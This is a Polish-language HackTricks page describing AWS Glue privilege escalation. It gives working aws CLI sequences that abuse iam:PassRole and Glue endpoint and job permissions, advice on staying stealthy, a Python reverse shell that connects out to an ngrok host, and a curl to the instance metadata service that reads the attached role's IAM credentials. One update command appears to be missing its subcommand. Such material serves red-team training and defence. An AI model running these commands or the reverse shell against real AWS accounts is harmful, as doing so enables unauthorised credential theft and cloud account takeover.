AWS - Glue Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Użytkownicy z tymi uprawnieniami mogą skonfigurować nowy AWS Glue development endpoint, przypisać do niego istniejącą rolę serwisową, którą Glue może przejąć, nadając temu endpointowi określone uprawnienia.

Po konfiguracji atakujący może zalogować się przez SSH do instancji endpointu i ukraść poświadczenia IAM przypisanej roli:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Dla celów stealth zaleca się używać poświadczeń IAM z wnętrza wirtualnej maszyny Glue.

Potencjalny wpływ: Privesc do wskazanej roli serwisowej glue.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Użytkownicy z tym uprawnieniem mogą zmienić klucz SSH istniejącego Glue development endpointu, umożliwiając dostęp SSH do niego. Pozwala to atakującemu na wykonywanie poleceń z uprawnieniami roli przypisanej do endpointu:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Potencjalny wpływ: Privesc to the glue service role used.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Użytkownicy posiadający iam:PassRole w połączeniu z albo glue:CreateJob or glue:UpdateJob, oraz albo glue:StartJobRun or glue:CreateTrigger mogą utworzyć lub zaktualizować zadanie AWS Glue, przypisać dowolne Glue service account i zainicjować wykonanie tego zadania. Zadanie może uruchamiać dowolny kod w Pythonie, który można wykorzystać do ustanowienia reverse shell. Ten reverse shell może następnie posłużyć do eksfiltracji IAM credentials roli przypiętej do Glue job, co może prowadzić do nieautoryzowanego dostępu lub działań w oparciu o uprawnienia tej roli:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Potencjalny wpływ: Privesc do określonej roli usługi glue.

glue:UpdateJob

Posiadając tylko uprawnienie update, atakujący mógłby wykraść IAM Credentials już dołączonej roli.

Potencjalny wpływ: Privesc do dołączonej roli usługi glue.

Referencje

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks